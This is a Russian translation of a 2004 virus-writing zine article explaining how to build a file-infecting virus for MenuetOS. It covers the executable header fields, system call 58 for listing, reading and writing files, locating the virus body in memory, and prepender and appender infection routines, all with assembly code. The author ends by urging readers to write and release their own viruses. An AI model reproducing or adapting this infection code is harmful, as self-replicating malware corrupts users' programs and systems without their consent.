|
Заражение MenuetOS SPTH (RRLF#5, November 2004) Перевод на русский язык - Сергей Кузьмин (http://coolthemes.narod.ru),
4 января 2006 года Статья представляет скорее исторический интерес и вряд ли применима для KolibriOS. Автор перевода не несет ответственности за содержание статьи. |
|||||||||||||||||||||||||||
Оглавление
0) Вводные словаMenuetOS - это новая и бесплатная Операционная Система с Графическим Интерфейсом Пользователя и большим количеством сетевых программ типа электронной почты или IRC-клиента, которая помещается на одну дискету. Операционная система полностью написана на ассемблере и имеет хорошую документацию, более того она имеет открытые исходники. Ты можешь найти ОС на www.menuetos.org. У меня возникла идея написать вирус для нее, когда я впервые её увидел: в один скучный день на канале IRC VxF заговорил о ней, и шутил о написании вирусов для нее. Да, это было начало всей этой истории, и поскольку мне надоели все эти вирусы для Windows, я подумал, что это будет хороший вызов для меня. Примерно через 5 месяцев после этого разговора первый вирус (Menuet.Oxymoron) был закончен. Так как я многое изучил о MenuetOS самостоятельно, я хочу поделиться этой информацией с тобой. Это единственная цель данной статьи. 1) Формат файлаa) Общая информацияMenuetOS сначала спрашивает пользователя о начальных настройках. После этого она загружает файлы (с дискеты или винчестера) в память. Эти файлы доступны в папке '/RAMDISK/1/xxx'. Первичный раздел винчестера твоего компьютера отображается в '/HARDDISK/1/xxx'. Эта начальная информация важна для реализации мечты (написать вирус для MenuetOS). b) Структура приложенияПриложения MenuetOS имеют простую структуру. Они состоят всего из двух частей: заголовок и выполняемый код . Они выглядят примерно так: Я объясню заголовок в следующей части статьи. Исполняемый код состоит из твоих команд и данных, которые не должны исполняться, поэтому будет разумно записать данные после кода, то есть после конца твоего приложения или после перехода в основном коде. Очень важная информация - это то, что каждый выполняемый файл загружается на смещение в памяти 0x0 (org 0x0).Это важно потому, что мы можем делать расчеты по информации статичного заголовка и нет необходимости рассчитывать какие-то относительные смещения. В данном случае, например, EP текущего файла в памяти: dword [0xC] (будет объяснено в следующей части статьи). c) Информация о заголовкеЗаголовок - это самая важная часть, о которой надо думать, когда ты хочешь написать вирус для этой ОС. В заголовке есть две части: основная и расширенная. Основной заголовок состоит из 0x1C (=28) байтов, которые очень важны. Расширенный загловок имеет размер на 8 байтов больше, то есть его размер 0x24 (=36) байтов. После заголовка некоторые программы хранят какую-то важную информацию, то есть конец Заголовка не всегда является началом Выполняемого Кода. Теперь я хочу показать тебе заголовок Menuet и объяснить разные его части, а также их использование в вирусе позже:
Идентификатор файла Эти 2 двойных слова говорят ОС, что это исполняемый файл. Идентификатор файла должен быть 'MENUET00' или 'MENUET01'. Я не обнаружил какой-то разницы между этими двумя способами. Требуемая ОС Это двойное слово говорит ОС, какая версия MenuetOS ей необходима. Сейчас (июнь 2004), Menuet имеет версию 0.77. Двойное слово для программы, которая должна рапускаться в MenuetOS 0.77+ будет содержать значение '77'. Но я видел всего два разных значения: 1 и 38. Из-за этого, и того факта, что это неважно для файла, мы можем использовать его как подпись нашео вируса. Просто перезапишем это значение числом, меньшим, чем 77 (но не 1 или 38 :] ). Точка входа Это тоже очень важное значение для нашего вируса. Здесь мы получим информацию, где начинается код в файле. Это значение может быть 0x1c, если это основной заголовок без данных или намного больше, если он соднржит много данных. В любом случае, это значение также очень важно для нахождения кода вируса в памяти. Если это вирус Вставка, то вирус находится в EP или если это вирус Присоединение, то это значение можно изменить так, чтобы вирус запустился раньше основного кода. Длина файла Это следующее важное значение. Это размер файла, то есть: длина заголока + длина кода. Это значение генерируется, когда файл компилируется. То есть, если ты добавишь какое-то количество байтов (вирус), значение не изменится, что можно замечательно использовать при написании вируса. Если ты хочешь написать Вставку, ты можешь хранить первую часть основного кода на этом смещении, или если ты хочешь написать Присоединение, ты можешь добавить код своего вируса здесь. Используемая память Это двойное слово показывает количество памяти, зарезервированной ОС для программы. Так как вирус также использует много паамяти (чтение файлов, перестроение файла), это значение также очень важно. Ты должен проверить, является ли это значение большым, чем требуемое тебе количество памяти. Если ты заражаешь файл используя слишком малое количество памяти, зараженный файл больше не будет запускаться. Расширенный заголовок / esp Эта часть заголовка говорит нам, используется расширенный заголовок или нет. Если двойное слово равно 0x0, то расширенный заголовок не используется, при ином значении расширенный заголовок используется. В этом случае, значение равно смещению стека (esp). Это значение не является важным для файла, так как pop/push всегда работают без этого смещения. Параметры & Информация об иконке Эти значения важны для основного файла, но не для нас, поэтому я не буду объяснять их более подробно. 2) Системные вызовыa) Общая информацияСистемные вызовы - это единственный способ общения с ОС. Такой системный вызов позволяет тебе использовать основные функции ОС. Чтобы найти информацию о вызовах, ты должен посмотреть файл sysfuncs.txt, включенный в поставку MenuetOS. Там ты найдешь полное описание использования каждого из 66 (хотя некоторые из них все еще не закончены) вызовов. Обычно вызов выглядит так: eax = номер функции ebx, ecx, edx, esi, edi =информация для вызова int 0x40 = системный вызов Пример - sysfuncs.txt содержит такое описание: 05 = Задержка на X/100 секунд ebx задержка в 1/100 секундах ret: ничего не изменяется Если мы хотим задержку на 0.5 секунды в нашей программе, мы можем сделать это с помощью следующего кода: mov eax, 5 ; номер функции: Задержка X/100 секунд mov ebx, 50 ; 50/100 секунд = 0.5 секунды int 0x40 ; системный вызов b) Системный вызов 58Системный вызов 58 - это единственная важная функция для нашего вируса. Информация о системной функции 58 из sysfuncs.txt: 58 = ДОСТУП К ФАЙЛОВОЙ СИСТЕМЕТо есть мы можем находить файлы, читать содержимое файлов и записывать файлы, но обо всем этом поговорим дальше. 3) Функции вирусаa) Найти код вируса в памятиНахождение кода вируса в памяти очень важно для вируса, иначе ты не сможешь заразить другие файлы. Теперь есть 2 способа найти код, что зависит от типа используемого вируса - Вставка или Присоединение (я не думал об EPO вирусах). Простейший способ найти код - это вызов, и ты вытолкнешь твое смещение из стека в регистр. Но это плохо, когда при сохранении его в регистр, ты не сможешь использовать этот регистр в дальнейшем (так как смещение не должно быть перезаписано). Информация об инструкции CALL из файла OPCODES2.HLP: Заталкивает указатель инструкции (и сегмент кода для дальних вызовов) в стек и загружает в указатель инструкции адрес вызываемой процедуры. Если ты вызываешь метку в начале вируса, стек содержит вызов смещения. Вот код на ассемблере: call virus ; Заталкиваем (push) текущее смещение памяти в стек virus: pop ecx ; Выталкиваем текущее смещение памяти в ecx sub ecx, 5 ; Получим начальное смещение кода вируса в памяти xchg ebp, ecx ; Сдвинем ecx в ebp. Замечание: ты ни в коем случае не должен ; выталкивать (pop) ebp, иначе ОС зависнет. Яговорил тебе, что есть и другой способ найти смещение начала вируса: Вставка. Этот тип вирусов заражает файлы перед настоящим кодом - в точке входа. Ты уже знаешь из информации о заголовке, что точка входа кода - это смещение размером в двойное слово [0xC], а программа загружается по адресу, определяемому org 0x0. Поэтому мы можем использовать такой код: mov ebp, dword [0xC] ; ebp = 0x0 + dword [0xC] Присоединение - этот другой тип вирусов заражает файлы с их конца. Теперь мы знаем начало памяти файла (org 0x0) и длину файла зараженного файла: dword [0x10]. Повторим знакомый прием:. mox ebp, dword [0x10] ; ebp = 0x0 + dword [0x10] b) Найти файлыКонечно, это самая важная часть вируса, но в MenuetOS это сделать непросто. Причина этого в том, что здесь нет прямой функции для этого. Но мы уже говрили о системном вызове 58, который может сделать это для нас. С помощью 58-й функции мы можем читать файлы, а также читать каталоги. Взгляни на следующий пример: mov eax, 58 mov ebx, dir_block int 0x40 dir_block: dd 0 ; 0=Чтение dd 0x0 ; размер читаемого блока : 512 + x dd 0x16 ; количество блоков для чтения = 16*512 = 8192 байтов dd 0x20000 ; смещение, на которое сохранять данные dd 0x10000 ; рабочая область для ОС - 16384 байт db '/RAMDISK/FIRST',0 ; название каталога Теперь мы имеем данные каталога по смещению памяти 0x20000. Точная информация об этом будет в следующем разделе. Пока, что для нас важно знать, что первое имя файла (всегда 11 букв) находятся на смещении 0x0, а полная информация об одном файле занимает 32 байта. То есть, ты можешь найти файлы здесь: 0x0, 0x20, 0x40, 0x60, ...Если мы читаем 16*512 байтов, мы получим 100 файлов. Мы можем получить названия файлов с пмощью такого кода: mov ebx, 0x20000 ; Смещение в памяти nextfile: add ebx, 32 ; Получить смещение на начало имени следующего файла cmp ebx, 0x22000 ; Провереть, не прочли ли мы имена всех файлов jne nextfile ; Если нет, то перейти к имени следующего файла c) Данные каталогаПредыдущий раздел разъяснял поиск файлов через данные каталога, но не объяснял, что из себя представляли эти 32 байта на файл. Теперь мы это сделаем. Отдельная точка входа в каталоге (Directory Entry) содержит важную информацию типа аттрибутов файла или информации об удаленом файле. Мы используем эту информацию для того, чтобы не заражать удаленные файлы или каталоги. Если мы не будет этого делать, то вирус вызовет зависание системы. Теперь посмотрим на следующий кусок кода: struct msdos_dir_entry { __u8name[8],ext[3];/* имя и расширение */ ВАЖНО __u8attr;/* биты аттрибутов*/ ВАЖНО __u8 lcase;/* Регистр (верхний или нижний), в котором написано имя и расширение файла*/ __u8ctime_ms;/*Время создания, миллисекунды */ __u16ctime;/* Время создания */ __u16cdate;/* Дата создания */ __u16adate;/* Дата последнего изменения (обращения) */ __u16 starthi;/* Верхние(граничные) 16 битов кластера в FAT32 */ __u16time,date,start;/* Время, дата и первый кластер */ __u32size;/* Размер файла (в байтах) */ ВАЖНО }; Я уже говорил, что первые 11 байтов содержат имя файла. Но они также содержат и другую информацию - если первый байт имени равен 0xE5, то мы встретили удаленный файл. Чтобы их пропускать, надо сравнить первый байт имени с 0xE5: если они равны, то перейти на следующий файл. Байты аттрибутов состоят из 7 значений: #define ATTR_NONE 0 /* нет аттрибутов */ #define ATTR_RO 1 /* только для чтения */ #define ATTR_HIDDEN 2 /* скрытый */ #define ATTR_SYS 4 /* системный */ #define ATTR_VOLUME 8 /* метка раздела */ #define ATTR_DIR 16 /* каталог */ ВАЖНО #define ATTR_ARCH 32 /* архивный */ Если ATTR_DIR = 1, то мы встретили каталог. Мы препятствуем заражению этой точки входа с помощью такого кода:: mov cl, [ebx+11] ; Двинем биты аттрибутов в cl and cl, 0x10 ; AND 0x10 ( ???1 ???? = КАТАЛОГ) jnz nextfile ;Если не ноль, то перейти на следующий файл Последняя важная часть информации о точке входа - это размер файла. Он необходим при чтении файла в память, потому что MenuetOS не позволяет читать нам весь файл и мы должны вручную указать размер того участка, который мы хотим прочесть. d) Чтение файлов в памятьМы считываем содержимое файла в память, потому что только там мы можем его заразить (т.е. включить код вируса и еще проделать кое-что). Чтобы сделать это, мы ищем системный вызов, который дает нам такую возможность. И снова, это 58-я функция. Посмотрим на код чтения файла: mov eax, 58 mov ebx, fileinfo int 0x40 fileinfo: dd 0 ; 0=ЧТЕНИЕ ФАЙЛА dd 0x0 ; номер блока файла (512 байт, нумерация начинается с нуля) dd 0x1 ; сколько блоков считывать dd 0x20000 ; куда считывать dd 0x10000 ; память для работы ОС - 16384 байт db '/RAMDISK/FIRST/FILENAME',0 ; строка с путем к файлу, заканчивается нулем (ASCIIZ) Теперь у нас есть две проблемы. Первая: мы не знаем, как много блоков надо считать (так как каждый файл имет свой размер). Вторая: мы не имеем названия файла, записанного в блоке файла. Мы имеем эти данные только в точке входа каталога. Что же далать? Так как наш вирус выполняется по адресу 0x0 в памяти, мы можем записать эти данные в память посредством 'stos'. Но есть еще одна проблема: размер файла в точке входа хранится в байтах, а нам он нужен в количестве блоков. Решением является инструкция 'shr': Сдвигает значение из первого параметра вправо на количество битов, задаваемых вторым параметром. При этом нули возникают слева. Флаг переноса содержит последний перемещенный бит. Посмотрим, как это работает. Например, мы имеем файл размером 10000 байтов: mov eax, filesize <-- eax = 10011100010000b shr eax, 9 <-- eax = 10011b = 19d = 19 блоков inc eax <-- eax = 20d <-- 20*512 = 10240 = мы прочтем все байты файла Теперь посмотри на это: ;ebx=смещение на имя файла в точке входа каталога mov eax, dword [ebx+28] ; двинем размер файла в eax shr eax, 9 ; получим количество болков для чтения inc eax ; для чтения последнего неполного блока mov edi, flb_bs ; Двинем смещение stosb ; Запишем [al] в di в памяти (число блоков в flb_bs) mov ecx, 11 ;Двинем11 в ecx (счетчик=11) fn2fb: ; Получение имени файла для блока файла mov al, [ebx] ; Двинем значение из ebx в al stosb ; Запишем al в память на смещение edi (= буфер для 11 букв) inc ebx ; Получим следующую букву loop fn2fb ; Переход в fn2f, если ecx больше 0 и dec ecx mov eax, 58 ; ДОСТУП К ФАЙЛОВОЙ СИСТЕМЕ mov ebx, fileblock ; ebx=смещение на блок файла int 0x40 ; вызов системы file_block: dd 0 dd 0x0 flb_bs: dd 0x1 ;Сколько блоков читать (размер_файла/512) dd 0x25000 ; Здесь будет храниться содержимое файла dd 0x10000 db '/RAMDISK/FIRST/' ; Этот каталог мы хотим заразить fle db ' ',0 ; 11-байтный буфер для названия файла должен заканчиваться 0 Таким образом мы считаем весь файл на адрес 0x25000 в памяти. Нам осталось только перезаписать код в памяти и записать содержание памяти с этого смещения обратно в файл. e) Запись памяти в файлыПосле перезаписи файла в памяти, мы запишем файл обратно. У нас уже всё готово для этого. Название файла хранится в памяти в соответсвующем блоке файла (file_block), количество блоков находится на нужном адресе. Нам осталось только изменить первое двойное слово в блоке файла. Это двойное слово обозначает тип действия (чтение/запись, так как добавление и удаление еще не реализованы (*в КолибриОС ситуация исправлена)). Мы можем использовать два разных блока файла, но в этом случае надо скопировать имена файлов и количества блоков. Поэтому я объясню, как это делать в случае одного блока. Мы запишем на адрес начала блока файла значение 1. Вот пример кода: add edi, file_block ; Смещение на блок файла mov al, 1 ; Что будем писать (1 для записи) stosb ; Запишем al в память на смещение edi mov eax, 58 ; ДОСТУП К ФАЙЛОВОЙ СИСТЕМЕ mov ebx, file_block ; смещение File_block в ebx int 0x40 ; вызов системы file_block: dd 0 ; Первое значение - чтение, а нам нужна запись dd 0x0 flb_bs: dd 0x1 ; Сколько блоков читать (размер_файла/512 - всё еще здесь) dd 0x25000 ; Содержание по этому смещению будет записано в файл dd 0x10000 filen db '/RAMDISK/FIRST/' ; Этот каталог мы хотим заразить fle db ' ',0 ; 11-байтный буфер для названия файла заканчивается 0 (всё еще здесь) Этот код записывает 'действие=ЗАПИСЬ' в начало блока файла, а потом записывает flb_bs*512 байтов в файл до тех пор, пока счетчик не дойдет до нуля. Полное имя файла и количество блоков файла для записи всё еще здесь, так как мы перед этим делали чтение. 4) Тип зараженияa) Вставка (Prepender)Вирус "Вставка" заражает жертву перед запуском оригинального основного кода и хранит код первой части файла в конце файла. Такой файл выглядит так: Вирус сначала ищет размер_файла, который надо заразить. Затем он копирует первые байты, которые будут буфером вируса, на смещение.Вирус сначала ищет размер_файла, который надо заразить. Затем он копирует первые байты, которые будут буфером вируса, на смещение. Это смещение зависит от размера файла. Если вирус+заголовок файла больше, чем файл, то мы можем перезаписать восстановленные байты вирусом. При таком условии, мы восстанавливаем код на смещение [длина_вируса+длина_заголовка]. Наоборот, если файл больше, мы пишем первый кусок главного кода в конец файла. Следующий шаг - это заражение файла, что означает вставку тела вируса в буфер в начале файла. Начало файла(*точка входа), как мы уже знаем, хранится на смещении 'dword [0xC]'. Длина файла расположена на смещении 'dword [0x10]'(*в оригинале была опечатка dword [0xC]). После успешного выполнения вируса, мы возвращаем управление основному коду. Мы пишем оригинальное начало основного кода (которое находится в конце файла = dword [0x10] или dword [0xC]+длина_вируса: тебе надо просто проверить) назад на настоящее начало файла (dword [0xC]). Мы пишем длину вируса в начало файла. Но теперь у нас одна большая проблема: мы не можем перезаписать наш код так долго как он запущен (записывает назад в основной код), поэтому мы будем хитрыми: мы пишем восстанавливаемый код для основного кода на неиспользуемый адрес памяти и перескакиваем на этот кусок. Взляни на этот кусок: rebu: ; Перестроить основной код mov ebx, dword [0x10] ; Двинем длину файла в ebx,чтобы получить смешение старого основного кода mov edx, dword [0xC] ; Двинем смещение длины основного кода edx add edx, viruslength ; Добавим длину вируса к edx cmp ebx, edx ; Проверим, что файл меньше, чем вирус jge notsmall2 ; Если не больше или равно, то начинаем mov ebx, edx ; Двинем новое смещение в ebx notsmall2: mov edi, dword [0xC] ; Куда писать: 0xC mov ecx, viruslength ; Сколько писать rbhc: ; Перестроить основной код mov al, [ebx] ; Один байт сохраненного основного кода в al stosb ; Записать al (основной код) в edi (точка входа файла) inc ebx ; Взять следующий байт loop rbhc ; переход на rbch, если ecx больше 0 и inc ecx jmp dword [0xC] ; переход на точку входа, теперь с оригинального кода rebuend: ; Перестроить основной код: Конец b) Присоединение (Appender)Это второй тип заражения. Этот тип вируса копирует вирус в конец файла и изменяет заголовок, точнее точку_входа. После того как заражение закончится, вирус восстанавливает переходы на оригинальную точку_входа. Зараженный файл выглядит так: "Присоединение" ищет размер_файла и копирует себя на это смещение. После этого он ищет точку_входа, перезаписывает её началом вируса (dword [0xC]=dword[0x10]). Затем он пишет оригинальную точку_входа на смещение перехода, который возвращает управление основному коду. Таким образом, MenuetOS будет исполнять вирус перед основным кодом, который будет выполняться после того, как вирус запустится. 5) Заключительные словаВ конце я хочу сказать, что я очень рад после завершения написания этой статьи. Этот проект занял у меня несколько сотен часов. Сперва я анализировал то, как MenuetOS работает,затем я прочел исходники многих программ для Menuet и пытался понять их (это было иногда очень сложно, поскольку не везде были комментарии). Изучение системных вызовов и других трюков Menuet было следующим необходимым шагом. Следующей темой для изучения был формат файла (по меньшей мере, заголовок). Время шло и я начал понимать, как всё это работает. Мои тестовые программы делали то, что и предполагалось, и после нескольких простых программ появился новый вирус. Причина, по которой я написал эту статью, этот тот факт, что я не хотел, чтобы информация, которую я собирал несколько последних месяцев, потерялась. Ну вот, эта та самая коллеция. В конце, а это он и есть, мне важно сказать 'Спасибо' некоторым людям, которые были особенно важными в моём исследовании MenuetOS:
Но я хочу поблагодарить не только этих парней, но и тебя, читатель. Спасибо тебе за чтение этого куска кода. Я по-настоящему надеюсь, что ты получил удовольствие от этого куска кода и научился чему-то полезному (если не многому, то хоть чему-то). I would be happy as hell if you would write your own virus for MenuetOS (and, of course, release it). It's not very difficult, so just try it! Last hello goes to my RainBow, thanks for being with me! Last thing I want to say is: see you out there soon... (* конец статьи не имеет смысла переводить) - - - - - - - - - - - - - - - Second Part To Hell/[rRlf] www.spth.de.vu spth@priest.com written from march-june 2004 Austria - - - - - - - - - - - - - - - |